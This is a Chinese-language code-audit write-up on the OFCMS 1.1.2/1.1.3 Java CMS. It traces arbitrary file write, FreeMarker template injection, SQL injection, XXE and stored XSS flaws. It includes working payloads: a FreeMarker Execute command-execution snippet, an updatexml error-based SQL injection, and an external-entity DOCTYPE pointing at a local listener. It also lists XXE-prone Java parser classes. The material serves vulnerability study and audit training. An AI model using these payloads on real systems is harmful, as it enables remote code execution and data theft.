环境搭建
下载地址:https://gitee.com/oufu/ofcms/repository/archive/V1.1.2?format=zip
项目导入idea,创建数据库,配置下tomcat就行,但要注意必须tomcat>8.5,mysql>5.7
漏洞分析
任意文件写入
com.ofsoft.cms.admin.controller.cms.TemplateController
pathFile会获取环境中的地址并与传入的dir进行拼接,file_name为我们传入的文件名,file_content为文件内容,并且整个过程中没做任何过滤,因此存在任意文件写入
将shell到static下
成功写入shell
jsp无法解析
上边并没有传到根目录下,而是上传到了/static,主要是因为在BaseController中定义了渲染方法,这个方法在js中会被调用,如果访问的文件目录不包含.html则会在后边加上.html,因此访问jsp文件则相当于访问了1.jsp.html
因此就需要写到静态目录下。
模板注入
由于该cms模版引擎是freemarker,该模版引擎是存在模版注入的,结合上边的任意写,可以将下边内容写入html页面中
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
MCMS中有过了就不做过多解释了,访问index.html成功被渲染执行
SQL注入
com.ofsoft.cms.admin.controller.system.SystemGenerateController
的create()方法中sql执行语句可控
看下update()方法,一级级跟进发现update方法会对我们传入的执行语句进行预处理,但是我们可以直接输入整条SQL语句执行,不使用占位符,所以这里预编译处理将不起作用
payload
update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0) where link_id = 4
XXE
com.ofsoft.cms.admin.controller.ReprotAction
的expReport()方法中,会接收参数j并拼接到路径file中,之后会通过JasperCompileManager.compileReport()渲染导致外部实体注入
跟进compileReport()看下,逐步跟进到xmlLoader.loadXML
后,在loadXML()方法中,调用Digester类的parse方法来解析XML文件的内容,并且没有禁用外部实体
那么就可以通过上班的任意文件写入,写入一个恶意文件,在通过j变量,传入指定路径并进行解析
上传shell.jrxml到static目录下
<!DOCTYPE A[
<!ENTITY % xxe SYSTEM "http://127.0.0.1:7777">%xxe;]>
本地开启监听服务
python -m http.server 7777
传参
xxe常见关键词
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
XSS
在1.1.3版本中,增文章评论功能,该功能存在 xss
在save方法中 调用了getParamsMap方法,获取用户提交的所有参数。 又调用 getRealIp()方法 获取到ip,写入 params参数的comment_ip 键中。
之后 调用 Db.update()方法将数据更新到数据库中。(这里虽然用到了getSqlPara进行预编译,但是并不会对xss语句进行处理)
参考链接
【Java代码审计】OFCMS 1.1.3 审计_ofcms环境搭建_YouthBelief的博客-CSDN博客
奇安信攻防社区-记又一次Java代码审计 (butian.net)